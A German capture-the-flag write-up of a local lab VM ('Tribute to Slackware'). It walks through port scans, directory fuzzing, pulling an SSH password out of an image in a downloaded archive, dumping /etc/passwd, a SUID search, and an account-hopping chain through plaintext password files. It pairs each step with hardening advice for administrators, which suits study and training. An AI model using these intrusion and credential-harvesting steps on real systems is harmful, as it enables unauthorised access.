Analyse: Die Erkundung beginnt mit einem ARP-Scan im lokalen Netzwerk (`-l`), um aktive Hosts zu identifizieren.
Bewertung: Der Scan findet erfolgreich einen Host unter der IP `192.168.2.107` mit der MAC-Adresse `08:00:27:00:53:2c`. Die MAC-Adresse gehört zu "PCS Systemtechnik GmbH", was auf eine Oracle VirtualBox-VM hinweist.
Empfehlung (Pentester): Die IP `192.168.2.107` ist das Ziel für weitere Scans. Die VirtualBox-Information ist ein nützlicher Kontext.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit durch ARP-Scans reduzieren. Überwachung auf ungewöhnliche ARP-Aktivitäten kann Scans aufdecken.
192.168.2.107 08:00:27:00:53:2c PCS Systemtechnik GmbH
Analyse: Ein umfassender Nmap-Scan wird auf die Ziel-IP durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren. * `-sS`: TCP SYN Scan. * `-sV`: Versionserkennung. * `-A`: Aggressiver Scan (inkl. OS-Erkennung `-O`, `-sV`, `-sC` Skript-Scan, Traceroute). * `-T5`: Sehr schnelles Timing. * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan liefert ungewöhnliche, aber kritische Ergebnisse: * **Port 1 (SSH):** Offen, läuft OpenSSH 9.3. Dies ist ein nicht standardmäßiger Port für SSH (normalerweise 22). * **Port 2 (HTTP):** Offen, läuft Apache httpd 2.4.58 (Unix). Dies ist ebenfalls ein nicht standardmäßiger Port für HTTP (normalerweise 80 oder 443). Die Seite hat den Titel "Tribute to Slackware". Die TRACE-Methode ist aktiviert. * **OS:** Wird als Linux 4.x/5.x identifiziert. * **Hostname:** Wird als `uni.hmv` aufgelöst.
Empfehlung (Pentester): Fokussiere die weitere Untersuchung auf die nicht standardmäßigen Ports 1 (SSH) und 2 (HTTP). Versuche, auf beide Dienste zuzugreifen (`ssh -p 1 ...`, `http://IP:2`). Die aktivierte TRACE-Methode ist ein potenzielles Finding.
Empfehlung (Admin): Verwenden Sie nach Möglichkeit Standardports für Dienste, um die Erkennung und Verwaltung zu erleichtern. Wenn nicht standardmäßige Ports verwendet werden, dokumentieren Sie diese gut und stellen Sie sicher, dass Firewalls entsprechend konfiguriert sind. Deaktivieren Sie die TRACE-Methode im Apache (`TraceEnable Off`). Härten Sie SSH (starke Passwörter/Keys, Fail2ban).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 12:41 CEST Nmap scan report for uni.hmv (192.168.2.107) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 1/tcp open ssh penSSH 9.3 (protocol 2.0) | ssh-hostkey: | 256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA) |_ 256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519) 2/tcp open http Apache httpd 2.4.58 ((Unix)) |_http-title: Tribute to Slackware | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.58 (Unix) MAC Address: 08:00:27:00:53:2C (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.14 ms uni.hmv (192.168.2.107) S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
Analyse: Derselbe Nmap-Scan wird wiederholt, aber die Ausgabe wird mit `grep open` gefiltert, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt schnell die offenen Ports 1 (SSH) und 2 (HTTP). Nützlich für einen schnellen Überblick.
Empfehlung (Pentester): Keine neuen Erkenntnisse, aber bestätigt die Ziele.
Empfehlung (Admin): Keine zusätzlichen Empfehlungen.
1/tcp open ssh penSSH 9.3 (protocol 2.0) 2/tcp open http Apache httpd 2.4.58 ((Unix))
Analyse: Die Ausgabe stammt wahrscheinlich von einem Browser-Plugin wie Wappalyzer oder einem ähnlichen Tool, das die auf der Webseite (Port 2) verwendeten Technologien identifiziert.
Bewertung: Wichtige Informationen werden aufgedeckt: * **Webserver:** Apache 2.4.58 (bestätigt Nmap). * **Programmiersprache:** PHP 5.6.40. Dies ist eine **sehr alte und unsichere Version** von PHP mit zahlreichen bekannten Schwachstellen. Ein Hauptangriffsziel! * **Security/CDN:** Akamai Bot Manager / Akamai CDN. Dies deutet auf einen möglichen Web Application Firewall (WAF) oder Bot-Schutz hin, der Scans oder Exploits erschweren könnte. * **Widgets/Analytics:** Patreon Widget, Google Analytics. Weniger relevant für die Sicherheit, zeigt aber externe Integrationen.
Empfehlung (Pentester): **Priorisiere Angriffe auf PHP 5.6.40.** Suche nach bekannten Schwachstellen (z.B. RCE, LFI) für diese Version. Sei dir des möglichen Akamai-Schutzes bewusst und passe Scan-Techniken ggf. an (langsameres Scannen, User-Agent-Wechsel, Umgehungstechniken).
Empfehlung (Admin): **Aktualisieren Sie PHP dringend auf eine aktuell unterstützte Version!** PHP 5.6 ist End-of-Life und ein massives Sicherheitsrisiko. Überprüfen Sie die Akamai-Konfiguration und stellen Sie sicher, dass sie effektiv ist. Entfernen Sie unnötige externe Widgets.
wappalyzer Widget Patreon Statistiken Google Analytics Security Akamai Bot Manager Web Server Apache HTTP Server 2.4.58 Programmiersprache PHP 5.6.40 CDN Akamai Zahlungsverarbeiter Patreon
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet (`vi`), um den Hostnamen `slackware` der Ziel-IP `192.168.2.107` zuzuordnen.
Bewertung: Dies überschreibt oder ergänzt den von Nmap gefundenen Hostnamen `uni.hmv`. Es ist wichtig, konsistent zu sein, aber das manuelle Setzen eines Namens ist üblich. Der Name "slackware" passt zum Seitentitel.
Empfehlung (Pentester): Verwende ab jetzt `slackware` als Hostnamen für Web-Anfragen auf Port 2.
Empfehlung (Admin): Konsistente Hostnamen-Konfiguration ist empfehlenswert.
# Inhalt der /etc/hosts nach Bearbeitung: 127.0.0.1 localhost 192.168.2.107 slackware
Analyse: `nikto` wird auf den Webserver auf Port 2 ausgeführt, um nach bekannten Schwachstellen und interessanten Dateien zu suchen.
Bewertung: Nikto bestätigt Apache 2.4.58. Es meldet erneut die fehlenden Header `X-Frame-Options` und `X-Content-Type-Options`. Es bestätigt auch die aktivierte `TRACE`-Methode und weist auf das XST-Risiko hin. Die ungewöhnlichen Methoden `PST`, `PTINS` werden ebenfalls genannt (wahrscheinlich Nikto-Eigenheit). Keine neuen kritischen Funde durch Nikto, aber Bestätigung der vorherigen Erkenntnisse.
Empfehlung (Pentester): Findings dokumentieren (fehlende Header, TRACE). Konzentriere dich auf Verzeichnis-Scans und die alte PHP-Version.
Empfehlung (Admin): Fehlende Header implementieren, TRACE deaktivieren. PHP aktualisieren (dringend!).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.107 + Target Hostname: 192.168.2.107 + Target Port: 2 + Start Time: 2024-04-25 12:43:04 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.58 (Unix) + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + PTINS: Allowed HTTP Methods: PST, PTINS, HEAD, GET, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing + 8101 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-04-25 12:43:16 (GMT2) (12 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `dirb` wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 2) mit einer Standard-Wortliste zu suchen.
Bewertung: Findet `/index.html` (die Hauptseite) und `/robots.txt`. Keine neuen Verzeichnisse gefunden.
Empfehlung (Pentester): Untersuche `/robots.txt`. Verwende umfassendere Wortlisten und Tools wie `gobuster`.
Empfehlung (Admin): Stellen Sie sicher, dass `/robots.txt` keine sensiblen Informationen preisgibt.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Apr 25 12:44:00 2024 URL_BASE: http://192.168.2.107:2/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.107:2/ ---- + http://192.168.2.107:2/index.html (CODE:200|SIZE:7511) + http://192.168.2.107:2/robots.txt (CODE:200|SIZE:21) ----------------- END_TIME: Thu Apr 25 12:44:10 2024 DOWNLOADED: 4612 - FOUND: 2
Analyse: `gobuster` wird für einen umfassenderen Verzeichnis- und Dateiscan auf Port 2 verwendet. Es nutzt eine größere Wortliste (`directory-list-2.3-medium.txt`), sucht nach vielen spezifischen Endungen (`-x ...`) und filtert 403/404-Fehler (`-b`).
Bewertung: Dieser Scan ist erfolgreicher: * Findet erneut `index.html` und `robots.txt`. * Entdeckt `background.jpg` (interessant für Steganographie). * Entdeckt das Verzeichnis `/getslack/` (Status 301 - Weiterleitung). **Ein wichtiger Fund!** Der Kommentar "By mozes@slackware" wurde wahrscheinlich manuell im Quellcode oder in einer der gefundenen Dateien entdeckt und deutet auf einen Benutzernamen (`mozes`) hin.
Empfehlung (Pentester): Untersuche das Verzeichnis `/getslack/`. Analysiere `background.jpg` auf versteckte Daten (Steganographie). Versuche den Benutzernamen `mozes` für SSH auf Port 1.
Empfehlung (Admin): Schützen Sie Verzeichnisse mit angemessener Zugriffskontrolle. Entfernen Sie Kommentare oder Metadaten, die Benutzernamen oder andere interne Informationen preisgeben könnten.
http://192.168.2.107:2/index.html (Status: 200) [Size: 7511] http://192.168.2.107:2/background.jpg (Status: 200) [Size: 13798] http://192.168.2.107:2/robots.txt (Status: 200) [Size: 21] http://192.168.2.107:2/getslack (Status: 301) [Size: 240] [--> http://192.168.2.107:2/getslack/] # Manuell gefundener Kommentar (vermutlich aus Quellcode): By mozes@slackware
Analyse: Die Ausführung von `stegsolve.jar` wird erwähnt, was darauf hindeutet, dass die zuvor gefundene Datei `background.jpg` auf versteckte Daten untersucht wurde. Es wird jedoch kein Ergebnis gezeigt.
Bewertung: Steganographie ist eine mögliche Technik. Da später ein Passwort in `twitter.png` gefunden wird, war `background.jpg` möglicherweise eine falsche Fährte oder enthielt keine relevanten Daten.
Empfehlung (Pentester): Untersuche alle potenziell interessanten Mediendateien (Bilder, Audio) auf versteckte Daten mit Tools wie `steghide`, `stegsolve`, `zsteg`, `strings`.
Empfehlung (Admin): Seien Sie sich bewusst, dass Daten in Bildern versteckt werden können. Content Filtering oder Überwachung auf ungewöhnliche Dateigrößen/-inhalte kann helfen, dies zu erkennen, ist aber schwierig.
# (Keine Ausgabe im Berichtstext, impliziert Tool-Ausführung)
Analyse: Die Datei `index.html` innerhalb des Verzeichnisses `/getslack/` wird gefunden (vermutlich durch weiteren Scan oder manuelles Browsen) und hat eine Größe von 12 Bytes.
Bewertung: Bestätigt die Existenz der Index-Datei. Der minimale Inhalt wurde bereits in der vorherigen GET-Anfrage festgestellt.
Empfehlung (Pentester): Den Inhalt der 12 Bytes anzeigen (z.B. mit `curl http://192.168.2.107:2/getslack/`). Es könnte ein wichtiger Hinweis sein.
Empfehlung (Admin): Keine zusätzlichen Empfehlungen.
# Ergebnis eines Scans oder manuellen Zugriffs: http://192.168.2.107:2/getslack/index.html (Status: 200) [Size: 12]
Analyse: Ein Versuch, eine SSL/TLS-Verbindung mit `openssl s_client` zum HTTP-Port 2 aufzubauen.
Bewertung: Schlägt erwartungsgemäß fehl (`wrong version number`), da Port 2 kein HTTPS-Port ist. Bestätigt, dass keine SSL/TLS-Verschlüsselung auf diesem Port verwendet wird.
Empfehlung (Pentester): Nicht relevant für die weitere Analyse von Port 2.
Empfehlung (Admin): Keine Aktion erforderlich.
CNNECTED(00000003) 40277551347F0000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number:../ssl/record/ssl3_record.c:354: --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 5 bytes and written 423 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Analyse: `wfuzz` wird verwendet, um im Verzeichnis `/getslack/` nach Dateien zu suchen, die dem Muster `FUZZ.7z.001` entsprechen. Es filtert 404-Fehler und Antworten mit einer Größe von 12 Bytes (die `/getslack/index.html`).
Bewertung: **Erfolg!** `wfuzz` findet die Datei `twitter.7z.001`. Dies bestätigt die Existenz eines mehrteiligen 7z-Archivs namens "twitter" im Verzeichnis `/getslack/`.
Empfehlung (Pentester): Lade alle Teile des Archivs herunter (z.B. mit einem Skript wie im nächsten Schritt gezeigt) und extrahiere sie.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen oder unerwünschten Archive über den Webserver zugänglich sind. Überwachen Sie den Webserver auf ungewöhnliche Dateinamen oder -typen.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.107:2/getslack/FUZZ.7z.001
Total requests: 94717
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000083694: 200 80 L 794 W 19474 Ch "twitter"
Total time: 4.56789s
Processed Requests: 94717
Filtered Requests: 94716
Requests/sec.: 20739.9
Analyse: Es wird versucht, die heruntergeladene Datei `twitter.7z.001` mit dem `unzip`-Kommando zu entpacken.
Bewertung: Schlägt fehl, da `unzip` für ZIP-Archive ist und nicht für 7z. Außerdem ist dies nur der erste Teil eines mehrteiligen Archivs.
Empfehlung (Pentester): Verwende das korrekte Tool (`7z` oder `p7zip`) und stelle sicher, dass alle Teile des Archivs im selben Verzeichnis vorhanden sind, bevor du die Extraktion versuchst.
Empfehlung (Admin): Keine Aktion erforderlich.
Archive: /home/cyber/Downloads/twitter.7z.001 End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive. unzip: cannot find zipfile directory in one of /home/cyber/Downloads/twitter.7z.001 or /home/cyber/Downloads/twitter.7z.001.zip, and cannot find /home/cyber/Downloads/twitter.7z.001.ZIP, period.
Analyse: Ein Bash-Skript (`down.sh`) wird erstellt, um automatisch die Teile `twitter.7z.001` bis `twitter.7z.020` mit `wget` herunterzuladen. Das Skript berücksichtigt die führenden Nullen im Dateinamen. Anschließend wird es ausführbar gemacht und ausgeführt.
Bewertung: Das Skript ist eine effiziente Methode, um alle Teile des Archivs herunterzuladen. Die Ausführung beginnt erfolgreich (nur der Download von Teil 1 ist im Log gezeigt).
Empfehlung (Pentester): Lasse das Skript vollständig durchlaufen, um alle Teile zu erhalten.
Empfehlung (Admin): Webserver-Logs können auf solche automatisierten Download-Versuche überwacht werden (hohe Anzahl von Anfragen für ähnliche Dateinamen von derselben IP). Rate Limiting kann helfen.
#!/bin/bash for i in $(seq 1 20); do if [[ $i -lt 10 ]] then wget "http://192.168.2.107:2/getslack/twitter.7z.00$i" else wget "http://192.168.2.107:2/getslack/twitter.7z.0$i" fi; done
--2024-04-25 22:27:21-- http://192.168.2.107:2/getslack/twitter.7z.001 Verbindungsaufbau zu 192.168.2.107:2 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K Länge: 20480 (20K) [application/x-7z-compressed] Wird in twitter.7z.001 gespeichert. twitter.7z.001 100%[===================>] 20,00K --.-KB/s in 0s # ... (Downloads für Teile 002 bis 014) ... --2024-04-25 22:27:30-- http://192.168.2.107:2/getslack/twitter.7z.014 Verbindungsaufbau zu 192.168.2.107:2 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K Länge: 1860 (1.8K) [application/x-7z-compressed] Wird in twitter.7z.014 gespeichert. twitter.7z.014 100%[===================>] 1.82K --.-KB/s in 0s # ... (Downloads für Teile 015 bis 020 scheitern wahrscheinlich mit 404 Not Found) ...
Analyse: Nachdem die Teile heruntergeladen wurden (anscheinend nur 14 Teile existierten), wird das Archiv mit `7z x twitter.7z.001` extrahiert. `7z` erkennt automatisch die weiteren Teile im selben Verzeichnis. Anschließend wird der Inhalt des Verzeichnisses aufgelistet und `strings` auf die extrahierte PNG-Datei angewendet.
Bewertung: Die Extraktion ist erfolgreich und erzeugt die Datei `twitter.png`. `strings -n 12` findet die Zeichenkette `trYth1sPasS1993` in der PNG-Datei. Dies ist sehr wahrscheinlich ein Passwort.
Empfehlung (Pentester): Versuche dieses Passwort (`trYth1sPasS1993`) für den SSH-Benutzer `patrick` (den einzigen plausiblen Benutzer, der bisher bekannt ist oder zu erwarten ist, da `mozes` nicht funktionierte).
Empfehlung (Admin): Vermeiden Sie es, Passwörter in Dateien (auch nicht in Bildern) zu speichern. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern.
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20 64-bit locale=de_DE.UTF-8 Threads:16 PEN_MAX:1024 Scanning the drive for archives: 1 file, 20480 bytes (20 KiB) Extracting archive: twitter.7z.001 -- Path = twitter.7z.001 Type = Split Physical Size = 20480 Volumes = 14 Total Physical Size = 268100 ---- Path = twitter.7z Size = 268100 -- Path = twitter.7z Type = 7z Physical Size = 268100 Headers Size = 130 Method = LZMA2:384k Solid = - Blocks = 1 Everything is OK Files: 1 Size: 267951 Compressed: 268100
trYth1sPasS1993
Analyse: Es wird versucht, sich per SSH auf Port 1 als Benutzer `patrick` anzumelden und das Passwort `trYth1sPasS1993` (gefunden in `twitter.png`) zu verwenden.
Bewertung: **Initial Access erfolgreich!** Der Login mit `patrick` und dem gefundenen Passwort funktioniert. Wir haben nun eine Shell als Benutzer `patrick` auf dem System `slackware`.
Empfehlung (Pentester): Führe grundlegende Enumeration als `patrick` durch: `id`, `pwd`, `ls -la`, `sudo -l`, SUID-Check.
Empfehlung (Admin): Das Passwort für `patrick` sollte sofort geändert werden. Die Methode, wie das Passwort kompromittiert wurde (Steganographie in öffentlich zugänglicher Datei), sollte untersucht und verhindert werden.
(patrick@192.168.2.107) Password: trYth1sPasS1993
Linux 5.15.145.
patrick@slackware:~$
Analyse: Als Benutzer `patrick` werden `id` und `ls -la` ausgeführt, um Benutzer-/Gruppeninformationen und den Inhalt des Home-Verzeichnisses zu prüfen. Anschließend wird `/etc/passwd` nach Benutzern mit Bash-Shell durchsucht.
Bewertung: `id` zeigt, dass `patrick` (UID 1000) Mitglied der Gruppen `patrick` (GID 1000) und `kretinga` (GID 1001) ist. Das Home-Verzeichnis ist spärlich. Der `grep`-Befehl auf `/etc/passwd` enthüllt eine **sehr große Anzahl** von Benutzern mit `/bin/bash`-Shells. Dies ist höchst ungewöhnlich für ein Standard-Linux-System und deutet auf eine spezielle Konfiguration oder eine CTF-Challenge hin. Wichtig ist der nächste Benutzer in der Sequenz, `kretinga` (GID 1001), dessen Gruppe `patrick` angehört.
Empfehlung (Pentester): Untersuche die Berechtigungen im `/home`-Verzeichnis. Prüfe, ob `patrick` aufgrund seiner Mitgliedschaft in der Gruppe `kretinga` Zugriff auf das Home-Verzeichnis oder Dateien von `kretinga` hat.
Empfehlung (Admin): Überprüfen Sie die Benutzer- und Gruppenkonfiguration. Es ist unüblich und potenziell unsicher, dass normale Benutzer Mitglied in den primären Gruppen anderer normaler Benutzer sind. Die hohe Anzahl von Benutzern mit Shell-Zugang sollte untersucht und reduziert werden.
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)
total 5 drwx--x--x 3 patrick users 104 Apr 25 20:36 ./ drwxr-xr-x 54 root root 1400 Mar 10 22:16 ../ drwx------ 3 patrick patrick 80 Apr 25 20:36 .cache/ -rw-r--r-- 1 patrick users 3729 Feb 2 2022 .screenrc
root:x:0:0::/root:/bin/bash operator:x:11:0:operator:/root:/bin/bash patrick:x:1000:1000::/home/patrick:/bin/bash kretinga:x:1001:1001::/home/kretinga:/bin/bash claor:x:1002:1002::/home/claor:/bin/bash alienum:x:1003:1003::/home/alienum:/bin/bash mrmidnight:x:1004:1004::/home/mrmidnight:/bin/bash annlynn:x:1005:1005::/home/annlynn:/bin/bash powerful:x:1006:1006::/home/powerful:/bin/bash proxy:x:1007:1007::/home/proxy:/bin/bash x4v1l0k:x:1008:1008::/home/x4v1l0k:/bin/bash icex64:x:1009:1009::/home/icex64:/bin/bash mindsflee:x:1010:1010::/home/mindsflee:/bin/bash zacarx007:x:1011:1011::/home/zacarx007:/bin/bash terminal:x:1012:1012::/home/terminal:/bin/bash zenmpi:x:1013:1013::/home/zenmpi:/bin/bash sml:x:1014:1014::/home/sml:/bin/bash emvee:x:1015:1015::/home/emvee:/bin/bash nls:x:1016:1016::/home/nls:/bin/bash noname:x:1017:1017::/home/noname:/bin/bash nolose:x:1018:1018::/home/nolose:/bin/bash sancelisso:x:1019:1019::/home/sancelisso:/bin/bash ruycr4ft:x:1020:1020::/home/ruycr4ft:/bin/bash tasiyanci:x:1021:1021::/home/tasiyanci:/bin/bash lanz:x:1022:1022::/home/lanz:/bin/bash pylon:x:1023:1023::/home/pylon:/bin/bash wwfymn:x:1024:1024::/home/wwfymn:/bin/bash whitecr0wz:x:1025:1025::/home/whitecr0wz:/bin/bash bit:x:1026:1026::/home/bit:/bin/bash infayerts:x:1027:1027::/home/infayerts:/bin/bash rijaba1:x:1028:1028::/home/rijaba1:/bin/bash cromiphi:x:1029:1029::/home/cromiphi:/bin/bash gatogamer:x:1030:1030::/home/gatogamer:/bin/bash ch4rm:x:1031:1031::/home/ch4rm:/bin/bash aceomn:x:1032:1032::/home/aceomn:/bin/bash kerszi:x:1033:1033::/home/kerszi:/bin/bash d3b0o:x:1034:1034::/home/d3b0o:/bin/bash avijneyam:x:1035:1035::/home/avijneyam:/bin/bash zayotic:x:1036:1036::/home/zayotic:/bin/bash kaian:x:1037:1037::/home/kaian:/bin/bash c4rta:x:1038:1038::/home/c4rta:/bin/bash boyras200:x:1039:1039::/home/boyras200:/bin/bash waidroc:x:1040:1040::/home/waidroc:/bin/bash ziyos:x:1041:1041::/home/ziyos:/bin/bash b4el7d:x:1042:1042::/home/b4el7d:/bin/bash rpj7:x:1043:1043::/home/rpj7:/bin/bash h1dr0:x:1044:1044::/home/h1dr0:/bin/bash catch_me75:x:1045:1045::/home/catch_me75:/bin/bash josemlwdf:x:1046:1046::/home/josemlwdf:/bin/bash skinny:x:1047:1047::/home/skinny:/bin/bash 0xeex75:x:1048:1048::/home/0xeex75:/bin/bash 0xh3rshel:x:1049:1049::/home/0xh3rshel:/bin/bash 0xjin:x:1050:1050::/home/0xjin:/bin/bash
Analyse: Es wird versucht, mit `sudo -i` Root-Rechte zu erlangen. Das Passwort für `patrick` wird benötigt. Anschließend wird das gefundene Passwort (`trYth1sPasS1993`) eingegeben. Danach wird mit `find` nach SUID-Dateien gesucht.
Bewertung: Der `sudo`-Versuch schlägt fehl ("patrick is not in the sudoers file"). Die SUID-Suche listet viele Binärdateien auf, darunter Standarddateien und einige potenziell interessante wie `at`, `cu`, `ksu`, `ntfs-3g`, `crontab`, `pkexec`, `lxc-user-nic`. Auf den ersten Blick ist kein einfacher Exploit ersichtlich.
Empfehlung (Pentester): Da `sudo` nicht funktioniert, konzentriere dich auf die ungewöhnliche Gruppenstruktur. Überprüfe die Berechtigungen der Home-Verzeichnisse der anderen Benutzer. Überprüfe die gefundenen SUID-Binaries auf GTFOBins oder bekannte Exploits für die spezifische Linux-Version (Slackware).
Empfehlung (Admin): Verwalte sudoers-Berechtigungen sorgfältig. Minimiere die Anzahl der SUID-Binaries.
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
Password: trYth1sPasS1993
patrick is not in the sudoers file.
This incident has been reported to the administrator.
29344 60 -rws--x--x 1 root root 59552 Feb 13 2021 /bin/su 167328 76 -rws--x--x 1 root root 77416 Dec 16 2021 /bin/ping 31387 56 -rwsr-xr-x 1 root root 56576 ct 17 2023 /bin/mount 31390 36 -rwsr-xr-x 1 root root 35832 ct 17 2023 /bin/umount 24352 144 -rws--x--x 1 root root 143472 May 25 2023 /bin/ntfs-3g 84753 36 -rwsr-xr-x 1 root root 35424 Feb 13 2021 /bin/fusermount 32639 56 -rwsr-sr-x 1 daemon daemon 56256 Feb 7 2022 /usr/bin/at 181381 164 -r-sr-xr-- 1 uucp uucp 167144 Feb 13 2021 /usr/bin/cu 21391 56 -rwsr-xr-x 1 root root 56248 Jul 12 2023 /usr/bin/ksu 170252 28 -rws--x--x 1 root root 27272 Feb 13 2021 /usr/bin/rcp 170254 16 -rws--x--x 1 root root 14824 Feb 13 2021 /usr/bin/rsh 181388 116 -r-sr-xr-- 1 uucp uucp 117688 Feb 13 2021 /usr/bin/uux 31443 40 -rws--x--x 1 root root 39848 ct 17 2023 /usr/bin/chfn 31447 36 -rws--x--x 1 root root 35720 ct 17 2023 /usr/bin/chsh 29425 52 -rws--x--x 1 root root 51096 Feb 13 2021 /usr/bin/newuidmap 49156 284 -rws--x--x 1 root root 289832 Dec 30 20:25 /usr/bin/sudo 181382 112 -r-sr-xr-- 1 uucp uucp 113608 Feb 13 2021 /usr/bin/uucp 2358 20 -rws--x--x 1 root root 18824 Feb 23 19:14 /usr/bin/crontab 29420 84 -rws--x--x 1 root root 82272 Feb 13 2021 /usr/bin/chage 24243 20 -rws--x--x 1 root root 18776 ct 6 2023 /usr/bin/afppasswd 84864 36 -rwsr-xr-x 1 root root 35480 Sep 7 2021 /usr/bin/fusermount3 14162 32 -rwsr-x--- 1 root floppy 32064 Feb 13 2021 /usr/bin/fdmount 29421 40 -rws--x--x 1 root root 38664 Feb 13 2021 /usr/bin/expiry 29424 52 -rws--x--x 1 root root 50472 Feb 13 2021 /usr/bin/newgrp 29426 76 -rws--x--x 1 root root 77752 Feb 13 2021 /usr/bin/passwd 29422 92 -rws--x--x 1 root root 92648 Feb 13 2021 /usr/bin/gpasswd 127088 36 -rwsr-xr-x 1 root root 35544 Mar 12 2022 /usr/bin/pkexec 170253 24 -rws--x--x 1 root root 23112 Feb 13 2021 /usr/bin/rlogin 181384 56 -r-sr-xr-- 1 uucp uucp 55952 Feb 13 2021 /usr/bin/uuname 181386 124 -r-sr-xr-- 1 uucp uucp 126008 Feb 13 2021 /usr/bin/uustat 179215 84 -rwsr-sr-x 1 root mail 85176 Feb 13 2021 /usr/bin/procmail 29423 56 -rws--x--x 1 root root 55368 Feb 13 2021 /usr/bin/newgidmap 127129 20 -rwsr-xr-x 1 root root 18824 Mar 12 2022 /usr/lib/polkit-1/polkit-agent-helper-1 181408 132 -r-sr-xr-- 1 uucp uucp 134136 Feb 13 2021 /usr/sbin/uuxqt 181405 288 -r-sr-xr-- 1 uucp uucp 291800 Feb 13 2021 /usr/sbin/uucico 43775 789 -rwsr-xr-x 1 root root 806384 Nov 17 2021 /usr/libexec/lxc/lxc-user-nic 2322 60 -rwsr-x--- 1 root messagebus 60864 Feb 13 2021 /usr/libexec/dbus-daemon-launch-helper 46884 621 -rws--x--x 1 root root 633120 Jul 19 2023 /usr/libexec/ssh-keysign 28553 40 -rwsr-sr-x 1 root root 38864 Jan 26 21:40 /sbin/unix_chkpwd 170478 140 -r-s--x--x 1 root root 140008 Jun 15 2021 /sbin/mount.nfs
Analyse: Der Kern der Privilege Escalation wird hier gezeigt. Es wird eine Kette von Aktionen durchgeführt: 1. Wechsel ins Home-Verzeichnis `/home`. 2. Auflisten der Berechtigungen (`ls -la`). Auffällig ist, dass die Gruppenberechtigungen (`drwxr-x---`) und Gruppenzugehörigkeiten (`claor:kretinga`, `alienum:claor`, `mrmidnight:alienum`, etc.) eine Kette bilden. 3. Der aktuelle Benutzer (`patrick`, Gruppe `kretinga`) kann das Verzeichnis `/home/claor` (Gruppe `kretinga`) betreten und die Datei `mypass.txt` lesen. 4. Der Inhalt von `mypass.txt` (`JRksNe5rWgis`) ist das Passwort für den Benutzer `claor`. 5. Mit `su claor` und dem gefundenen Passwort wird zum Benutzer `claor` gewechselt. 6. Dieser Vorgang wird wiederholt: `claor` (Gruppe `alienum`) liest das Passwort von `alienum` aus `/home/alienum/mypass.txt`, wechselt zu `alienum`, und so weiter. Der Bericht zeigt diesen Vorgang exemplarisch für mehrere Schritte (`patrick` -> `claor` -> `alienum` -> `mrmidnight` -> ... -> `rpj7`).
Bewertung: Dies ist eine kreative und erfolgreiche Privilege-Escalation-Methode, die auf einer Kaskade von Fehlkonfigurationen bei den Gruppenberechtigungen der Home-Verzeichnisse und der Speicherung von Passwörtern in Klartextdateien (`mypass.txt`) basiert. Jeder Benutzer kann das Passwort des nächsten Benutzers in der Kette lesen. Der Benutzer `rpj7` wird schließlich erreicht. Die `sudo -l`-Checks für die Zwischenbenutzer bestätigen, dass keiner von ihnen `sudo`-Rechte hat.
Empfehlung (Pentester): Folge der Kette bis zum letzten Benutzer oder bis ein Benutzer mit höheren Privilegien (z.B. `sudo`-Rechten oder Mitgliedschaft in `wheel`/`root`) gefunden wird. In diesem Fall führt die Kette zu `rpj7`, wo die User-Flag liegt.
Empfehlung (Admin): **Dringend die Berechtigungen der Home-Verzeichnisse korrigieren!** Standardmäßig sollte ein Home-Verzeichnis `700` oder `750` sein, wobei die Gruppe nicht die Gruppe des *nächsten* Benutzers sein sollte. **Passwörter niemals in Klartextdateien speichern!** Überprüfen Sie die gesamte Benutzer- und Gruppenstruktur auf ähnliche Fehlkonfigurationen.
